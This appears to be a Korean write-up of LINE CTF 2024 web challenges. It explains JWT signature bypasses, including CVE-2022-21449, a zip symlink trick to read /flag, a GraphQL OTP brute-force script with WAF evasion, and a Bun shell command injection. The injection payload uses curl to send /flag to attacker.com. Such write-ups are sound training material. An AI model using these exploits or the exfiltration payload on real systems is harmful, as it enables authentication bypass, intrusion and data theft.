LINECTF 2024
CTFtime: https://ctftime.org/event/2119
Official URL: https://linectf.me/
Writeup
- jalyboy-baby
- jalyboy-jalygirl
- zipviewer-version-citizen
- zipviewer-version-clown
- G0tcha-G0tcha-doggy
- graphql-101
- Boom-Boom-Hell
- Heritage
- hhhhhhref
jalyboy-baby
package me.linectf.jalyboy;
import io.jsonwebtoken.*;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.Key;
import java.security.KeyPair;
@Controller
public class JwtController {
public static final String ADMIN = "admin";
public static final String GUEST = "guest";
public static final String UNKNOWN = "unknown";
public static final String FLAG = System.getenv("FLAG");
Key secretKey = Keys.secretKeyFor(SignatureAlgorithm.HS256);
@GetMapping("/")
public String index(@RequestParam(required = false) String j, Model model) {
String sub = UNKNOWN;
String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(secretKey).compact();
try {
Jwt jwt = Jwts.parser().setSigningKey(secretKey).parse(j);
Claims claims = (Claims) jwt.getBody();
if (claims.getSubject().equals(ADMIN)) {
sub = ADMIN;
} else if (claims.getSubject().equals(GUEST)) {
sub = GUEST;
}
} catch (Exception e) {
// e.printStackTrace();
}
model.addAttribute("jwt", jwt_guest);
model.addAttribute("sub", sub);
if (sub.equals(ADMIN)) model.addAttribute("flag", FLAG);
return "index";
}
}
JWT 토큰은 Header.Payload.Signature로 3가지 형태를 갖는다. claims.getSubject()
함수는 Payload의 sub
key의 value를 반환한다. 즉, Flag를 획득하기 위해선 Payload의 sub
key 값을 admin
이 되도록 변경해줘야한다.
다음으로, JWT 토큰은 Signature를 통해 인증을 수행한다. 하지만, Secret key를 알 수 없기 때문에 일반적으로 Payload를 수정해도 Signature 인증 과정에서 실패하게 된다.
그러나, 해당 문제에서는 Jwts.parser().setSigningKey(secretKey).parse(j)
함수를 통해 JWT 토큰을 파싱하고 있다.
https://github.com/jwtk/jjwt/issues/280
jjwt
의 parse()
함수에 대한 Github Issue가 존재했는데 Signature 부분을 제외하고 Header.Payload. 형태로 토큰 값을 전달할 경우, 인증 과정을 무시하고 토큰을 파싱한다는 것이었다.
즉, eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.
값을 토큰 값으로 넘겨주면 플래그를 획득할 수 있다.
Exploit Code
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.
Flag
LINECTF{337e737f9f2594a02c5c752373212ef7}
jalyboy-jalygirl
package me.linectf.jalyboy;
import io.jsonwebtoken.*;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.Key;
import java.security.KeyPair;
@Controller
public class JwtController {
public static final String ADMIN = "admin";
public static final String GUEST = "guest";
public static final String UNKNOWN = "unknown";
public static final String FLAG = System.getenv("FLAG");
KeyPair keyPair = Keys.keyPairFor(SignatureAlgorithm.ES256);
@GetMapping("/")
public String index(@RequestParam(required = false) String j, Model model) {
String sub = UNKNOWN;
String jwt_guest = Jwts.builder().setSubject(GUEST).signWith(keyPair.getPrivate()).compact();
try {
Jws<Claims> jwt = Jwts.parser().setSigningKey(keyPair.getPublic()).parseClaimsJws(j);
Claims claims = (Claims) jwt.getBody();
if (claims.getSubject().equals(ADMIN)) {
sub = ADMIN;
} else if (claims.getSubject().equals(GUEST)) {
sub = GUEST;
}
} catch (Exception e) {
// e.printStackTrace();
}
model.addAttribute("jwt", jwt_guest);
model.addAttribute("sub", sub);
if (sub.equals(ADMIN)) model.addAttribute("flag", FLAG);
return "index";
}
}
jalyboy-baby
문제와 다른 점은 ES256
알고리즘으로 비대칭키를 생성하고 parseClaimsJws()
함수를 통해 토큰 인증을 수행하고 있다.
parseClaimsJws()
함수는 parse()
함수와 달리 Signature
검증을 수행하여 인증 여부를 확인한다.
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-freemarker'
implementation 'org.springframework.boot:spring-boot-starter-web'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
implementation 'io.jsonwebtoken:jjwt-api:0.11.2'
runtimeOnly 'io.jsonwebtoken:jjwt-impl:0.11.2',
// Uncomment the next line if you want to use RSASSA-PSS (PS256, PS384, PS512) algorithms:
//'org.bouncycastle:bcprov-jdk15on:1.60',
'io.jsonwebtoken:jjwt-jackson:0.11.2' // or 'io.jsonwebtoken:jjwt-gson:0.11.2' for gson
}
build.gradle
파일의 dependencies
를 확인해보면, jjwt-jackson:0.11.2
버전을 사용하고 있음을 알 수 있다.
해당 버전에서 이슈가 존재하는지 확인해보았다.
CVE-2022-21449
https://github.com/jwtk/jjwt/issues/726
ECDSA Signature
는 r
,s
값으로 구성되어있다. 하지만, r = s = 0
일 경우, 인증이 우회되는 문제가 발생한다. r
,s
값이 0인 상태로 Signature
를 생성하면 .MAYCAQACAQA
값이 만들어지게 되며, Header.Payload.MAYCAQACAQA 형태의 JWT 토큰 값을 넘겨주면 인증 우회가 가능해진다.
Exploit Code
import json
from base64 import urlsafe_b64encode
# import hashlib
# import hmac
header = {"alg": "ES256"}
payload = {"sub": "admin"}
contents = urlsafe_b64encode(json.dumps(header, separators=(",",":")).encode()).decode("UTF-8").strip("=") \
+ "." + urlsafe_b64encode(json.dumps(payload, separators=(",",":")).encode()).decode("UTF-8").strip("=")
contents = contents.encode().decode("UTF-8")
# key = "111"
# sig = urlsafe_b64encode(hmac.new(key.encode(), contents.encode(), hashlib.sha256).digest()).decode("UTF-8").strip("=")
print(contents+".MAYCAQACAQA")
# eyJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJhZG1pbiJ9.MAYCAQACAQA
Flag
LINECTF{abaa4d1cb9870fd25776a81bbd278932}
zipviewer-version-citizen
func routes(_ app: Application) throws {
app.post("upload") { req async throws -> ResponseMessage in
_ = try getRealIPAddress(req: req)
if !req.hasSession {
throw Abort(.unauthorized, reason: "Session not found")
}
var hashed = ""
var filePath = ""
var fileName = ""
let username = req.session.data["user"] ?? "Unknown"
let uuid = req.session.data["uuid"] ?? "Unknown"
req.logger.info("GET /upload -> NAME == \(username)")
req.logger.info("GET /upload -> UUID == \(uuid)")
do {
if username == "Unknown" || uuid == "Unknown" {
throw CustomError.MissingSessionError
}
hashed = try GenerateSHA256(username + uuid + SALT)
filePath = "Upload/" + hashed
fileName = filePath + ".zip"
try ClearFiles(filepath: filePath)
let file = try req.content.decode(Input.self).data
try IsZipFile(data: file)
try await req.fileio.writeFile(ByteBuffer(data: file), at: fileName)
let fileList = try GetEntryListInZipFile(fileName: fileName)
_ = try Unzip(filename: fileName, filepath: filePath)
guard try CleanupUploadedFile(filePath: filePath, fileList: fileList) else {
throw Abort(.internalServerError, reason: "Something Wrong")
}
} catch CustomError.InvalidZipFile {
throw Abort(.badRequest, reason: "File is not Zip")
} catch {
try ClearFiles(filepath: filePath)
throw Abort(.internalServerError, reason: "Something Wrong")
}
return ResponseMessage(message: "DONE", status: 200)
}
}
ZIP 파일 업로드 시, 임의의 해시 값을 생성하여 ZIP 파일의 이름을 지정한다.
다음으로 ZIP 파일 여부 확인 후, 압축 해제를 통해 파일 리스트를 얻고 CleanupUploadedFile()
함수를 호출한다.
func IsSymbolicLink(filePath: String) throws -> Bool {
let fileAttributes = try FileManager.default.attributesOfItem(atPath: filePath)
let fileType = fileAttributes[.type] as? FileAttributeType
if fileType == .typeSymbolicLink {
return true
}
return false
}
func CleanupUploadedFile(filePath: String, fileList: [String]) throws -> Bool {
do {
let fileManager = FileManager()
let currentWorkingPath = fileManager.currentDirectoryPath
print("File Count \(fileList.count)")
for fileName in fileList {
var originPath = URL(fileURLWithPath: currentWorkingPath)
originPath.appendPathComponent(filePath)
originPath.appendPathComponent(fileName)
if !fileManager.fileExists(atPath: originPath.path) {
print("file not found")
continue
}
if (try IsSymbolicLink(filePath: originPath.path)) {
print("Find Symbol!! >> \(originPath.path)")
try fileManager.removeItem(at: originPath)
}
}
} catch {
return false
}
return true
}
CleanupUploadedFile()
내부를 보면, IsSymbolicLink()
함수를 통해 심볼릭 링크(Symbolic Link)가 걸려 있는지 확인한다. 즉, 심볼릭 링크가 걸려있을 경우, 파일을 삭제한다. 즉, ln -s /flag f && zip -y exp.zip f
와 같이 압축할 경우, 파일이 삭제된다.
$ mkdir sol
$ cd sol
$ ln -s /flag f
$ mkdir a
$ cd ..
$ zip -y sol.zip sol/a/../f
하지만, 심볼릭 링크(Symbolic Link)에 ../
를 포함하면 IsSymbolicLink()
함수를 우회하여 파일이 삭제되지 않는다.
Exploit Code
# 0. ZIP 파일 생성
$ mkdir sol
$ cd sol
$ ln -s /flag f
$ mkdir a
$ cd ..
$ zip -y sol.zip sol/a/../f
# 1. ZIP 파일 업로드 (직접)
# 2. 심볼릭 링크가 걸린 파일 다운로드
curl 'http://34.84.43.130:11000/download/sol/f' -H 'Cookie: vapor_session=bixPr32gfdtPZUQG0Fd0Iy55rtsxALh11/w1NHK1Clk='
Flag
LINECTF{af9390451ae12393880d76ea1f6cffc1}
zipviewer-version-clown
zipviewer-version-citizen 문제와 동일한 방식으로 풀이
Flag
LINECTF{34d98811f9f20094d1cc75af9299e636}
G0tcha-G0tcha-doggy
graphql-101
index.js
const express = require("express")
const { graphqlHTTP } = require("express-graphql")
const { buildSchema } = require("graphql")
const path = require("path");
const crypto = require('crypto');
const STRENGTH_CHALLENGE = 999;
const NUM_CHALLENGE = 40;
const ERROR_MSG = "Wrong !!!";
const CORRECT_MSG = "OK !!!";
var otps = Object.create(null);
otps["admin"] = Object.create(null);
function genOtp(ip, force = false) {
if (force || !otps["admin"][ip]) {
function intToString(v) {
let s = v.toString();
while (s.length !== STRENGTH_CHALLENGE.toString().length) s = '0' + s;
return s;
}
const otp = [];
for (let i = 0; i < NUM_CHALLENGE; ++i)
otp.push(
intToString(crypto.randomInt(0, STRENGTH_CHALLENGE))
);
otps["admin"][ip] = otp;
}
}
otp 배열에 0 ~ 999 사이의 임의의 랜덤 값을 40개 생성한다.
const rateLimiter = require('express-rate-limit')({
windowMs: 30 * 60 * 1000,
max: 5,
standardHeaders: true,
legacyHeaders: false,
onLimitReached: async (req) => genOtp(req.ip, true)
});
HTTP Request는 최대 5회로 지정되어있고, 초과하게 되면 30분 동안 요청을 보낼 수 없게 된다. 추가적으로, genOtp()
함수를 호출하여 otp
값이 새로 할당된다.
function checkOtp(username, ip, idx, otp) {
if (!otps[username]) return false;
if (!otps[username][ip]) return false;
return otps[username][ip][idx] === otp;
}
// Construct a schema, using GraphQL schema language
const schema = buildSchema(`
type Query {
otp(u: String!, i: Int!, otp: String!): String!
}
`);
const root = {
otp: ({ u, i, otp }, req) => {
if (i >= NUM_CHALLENGE || i < 0) return ERROR_MSG;
if (!checkOtp(u, req.ip, i, otp)) return ERROR_MSG;
rateLimiter.resetKey(req.ip);
otps[u][req.ip][i] = 1;
return CORRECT_MSG;
},
}
const app = express();
...
app.use((req, res, next) => { genOtp(req.ip); next() });
app.use(require('body-parser').json({ limit: '128b' }));
app.use(
"/graphql",
rateLimiter,
graphqlHTTP({
schema: schema,
rootValue: root,
})
);
유저가 HTTP Request를 통해 graphql query
를 전달하면, checkOtp()
함수를 통해 i
번째 otp
값과 유저가 입력한 otp
를 비교한다.
otp
값이 동일할 경우, 요청 횟수 제한을 초기화하고 otps[u][req.ip][i]
값을 1
로 설정한다.
app.get('/admin', (req, res) => {
let sum = 0;
for (let i = 0; i < NUM_CHALLENGE; ++i)
sum += otps["admin"][req.ip][i];
res.send((sum === NUM_CHALLENGE) ? process.env.FLAG : ERROR_MSG);
});
즉, 모든 otp
값을 찾고 /admin
경로에 접근하면 FLAG
를 얻을 수 있다.
waf.js
function isDangerousValue(s) {
return s.includes('admin') || s.includes('\\'); // Linux does not need to support "\"
}
/** Secured WAF for admin on Linux */
function isDangerousPayload(obj) {
if (!obj) return false;
const keys = Object.keys(obj);
// check key, value
for (let i = 0; i < keys.length; ++i) {
const key = keys[i];
if (isDangerousValue(key)) return true;
if (typeof obj[key] === 'object') {
if (isDangerousPayload(obj[key])) return true;
} else {
const val = obj[key].toString();
if (isDangerousValue(val)) return true;
}
}
return false;
}
module.exports = {
isDangerousValue,
isDangerousPayload,
}
index.js
const { isDangerousPayload, isDangerousValue } = require('./waf');
app.use((req, res, next) => {
if (isDangerousValue(req.url)) return res.send(ERROR_MSG);
if (isDangerousPayload(req.query)) return res.send(ERROR_MSG);
next();
});
추가적으로, req.url
과 req.query
에 admin
키워드를 사용할 수 없다. /admin
경로에 접근하기 위해 /Admin
경로에 접근하여 이를 우회할 수 있다. 또한, req.query
에서는 graphql variable
을 활용하여 우회가 가능하다.
Exploit Code
import requests
import string
NUM_CHALLENGE = 40
STRENGTH_CHALLENGE = 999
url = "http://localhost:7654"
s = requests.Session()
alias = [ ]
for x1 in string.ascii_lowercase:
for x2 in string.ascii_lowercase:
alias.append(x1 + x2)
k = 0
offset = 250
for i in range(NUM_CHALLENGE):
for n in range(0, STRENGTH_CHALLENGE, offset):
qry = "query Qry($u:String!){"
for j, otp in enumerate(range(n, min(n + offset, STRENGTH_CHALLENGE))):
qry += f'{alias[j]}:otp(u:$u,i:{i},otp:"{otp:03d}")'
qry += "}"
print(qry)
r = s.post(
f"{url}/graphql?query={qry}",
json={"variables": { "u": "admin" }}
)
if "OK !!!" in r.text:
print(r.text)
break
r = s.get(f"{url}/Admin")
print(r.text)
Flag
LINECTF{db37c207abbc5f2863be4667129f70e0}
Boom-Boom-Hell
import { $, escapeHTML } from "bun";
import qs from "qs";
const port = process.env.PORT || 3000;
const logFile = process.env.LOGFILE || ".log";
const server = Bun.serve({
host: "0.0.0.0",
port: port,
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/chall") {
const params = qs.parse(url.search, { ignoreQueryPrefix: true });
if (params.url.length < escapeHTML(params.url).length) { // dislike suspicious chars
return new Response("sorry, but the given URL is too complex for me");
}
const lyURL = new URL(params.url, "https://www.lycorp.co.jp");
if (lyURL.origin !== "https://www.lycorp.co.jp") {
return new Response("don't you know us?");
}
const rawFetched = await $`curl -sL ${lyURL}`.text();
const counts = {
"L": [...rawFetched.matchAll(/LINE/g)].length,
"Y": [...rawFetched.matchAll(/Yahoo!/g)].length,
}
await $`echo $(date '+%Y-%m-%dT%H:%M:%S%z') - ${params.url} ::: ${JSON.stringify(counts)} >> ${logFile}`;
const highlighted = escapeHTML(rawFetched)
.replace(/LINE/g, "<mark style='color: #06C755'>$&</mark>")
.replace(/Yahoo!/g, "<mark style='color: #FF0033'>$&</mark>");
const html = `
<h1>Your score is... 🐐<${counts.L + counts.Y}</h1>
<details open>
<summary>Result</summary>
<blockquote>${highlighted}</blockquote>
</details>
`;
return new Response(html, { headers: { "Content-Type": "text/html; charset=utf-8" } });
} else {
return new Response("🎶😺≡≡≡😺🎶 Happy Happy Happy~")
}
}
});
console.log(`😺 on http://localhost:${server.port}`);
유저가 입력한 URL에 curl
로 요청을 보내 결과 값을 페이지에 띄워주고 있다.
하지만, 유저 입력에 대해 필터링이 제대로 걸려있지 않다. 이로 인해, Command Injection
취약점이 발생한다.
If you do not want your string to be escaped, wrap it in a { raw: ‘str’ } object:
import { $ } from "bun";
await $`echo ${{ raw: '$(foo) `bar` "baz"' }}`
// => bun: command not found: foo
// => bun: command not found: bar
// => baz
https://bun.sh/docs/runtime/shell#escape-escape-strings
Bun shell
공식 문서를 보면, unescape string
을 사용하기 위해서는 { raw: 'str'}
객체를 사용하라고 되어있다.
위 예시를 보면, '$(foo) `bar` "baz"'
문자열이 Shell
에서 명령으로 인식되고 있음을 알 수 있다.
즉, /chall?url[raw]=$(command)
형태로 값을 전달하면 플래그를 획득할 수 있다.
Exploit Code
http://34.146.180.210:3000/chall?url[raw]=$(curl%20-d%20@/flag%20https://attacker.com/)
Flag
LINECTF{f405e3a998df00e4a9e9cc153d353770}